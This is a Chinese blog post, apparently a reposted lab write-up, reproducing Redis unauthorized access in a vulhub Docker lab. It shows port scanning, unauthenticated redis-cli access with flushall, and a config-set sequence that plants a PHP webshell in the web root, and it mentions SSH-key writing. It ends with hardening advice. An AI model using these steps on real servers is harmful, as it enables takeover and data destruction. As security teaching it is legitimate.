博客
关于我
Redis未授权访问漏洞
阅读量:372 次
发布时间:2019-03-05

本文共 894 字,大约阅读时间需要 2 分钟。

Redis漏洞复现

Redis概述

Redis是一款开源的数据库系统,使用ANSI C编写,支持网络访问且可存储在内存中。它支持多种数据类型,包括字符串、列表、集合、有序集合和哈希,且所有操作均为原子性。Redis默认使用6379端口,支持主从复制和持久化存储。

Redis漏洞分析

Redis的主要漏洞之一是未授权访问,这通常由配置不当引发。攻击者可能利用这个漏洞绕过身份验证,直接访问Redis服务。在某些情况下,如果Redis以root身份运行,攻击者可将SSH公钥写入文件,进而通过SSH登录并造成严重后果。

Redis漏洞复现步骤

准备阶段

  • 部署Redis环境

    使用Docker运行Redis,执行以下命令:

    cd /vulhub/redis/4-unacdocker-compose up -d
  • 端口扫描

    使用masscan扫描靶机开放的端口:

    masscan 192.168.41.139 -p 1-10000 --rate 100000

    检查发现6379端口开放,进一步使用nmap获取Redis信息:

    nmap -A -p 6379 --scripts redis-info 192.168.41.139
  • 未授权登录

  • 连接Redis

    使用Redis客户端从攻击机连接靶机:

    redis-cli -h 192.168.41.139 info

    查看Redis信息并执行操作,如keys *get keyflushalldel key

  • 获取敏感数据

    通过Redis操作获取数据库信息,例如删除所有数据或获取特定键的值。

  • 写入WebShell

  • 注入WebShell
    在指定的Web目录中写入木马代码:
    config set dir /var/www/htmlset xxx "\n\n\n
    \n\n\n"config set dbfilename shell.phpsave

    通过工具连接即可控制服务器。

  • 注意事项

    • Redis默认配置为本地访问,需检查防火墙设置防止公网访问。
    • 配置Redis时应启用认证,避免未授权访问。
    • 定期备份Redis数据并进行安全审计。

    转载地址:http://shog.baihongyu.com/

    你可能感兴趣的文章
    Objective-C实现使用数组实现约瑟夫环(附完整源码)
    查看>>
    Objective-C实现使用管道重定向进程输入输出(附完整源码)
    查看>>
    Objective-C实现倒计时(附完整源码)
    查看>>
    Objective-C实现借记款项功能(附完整源码)
    查看>>
    Objective-C实现关系矩阵A和B的乘积(附完整源码)
    查看>>
    Objective-C实现关系矩阵乘法(附完整源码)
    查看>>
    Objective-C实现关系矩阵乘法(附完整源码)
    查看>>
    Objective-C实现内存映射文件(附完整源码)
    查看>>
    Objective-C实现内存泄露检查(附完整源码)
    查看>>
    Objective-C实现内格尔·施雷肯伯格算法(附完整源码)
    查看>>
    Objective-C实现几何级数的总和算法 (附完整源码)
    查看>>
    Objective-C实现分块查找算法(附完整源码)
    查看>>
    Objective-C实现分块查找算法(附完整源码)
    查看>>
    Objective-C实现分水岭算法(附完整源码)
    查看>>
    Objective-C实现分解质因数(附完整源码)
    查看>>
    Objective-C实现切换数字的符号switchSign算法(附完整源码)
    查看>>
    Objective-C实现列主元高斯消去法(附完整源码)
    查看>>
    Objective-C实现创建多级目录(附完整源码)
    查看>>
    Objective-C实现删除重复的字母字符算法(附完整源码)
    查看>>
    Objective-C实现判断32位的数字是否为正数isPositive算法(附完整源码)
    查看>>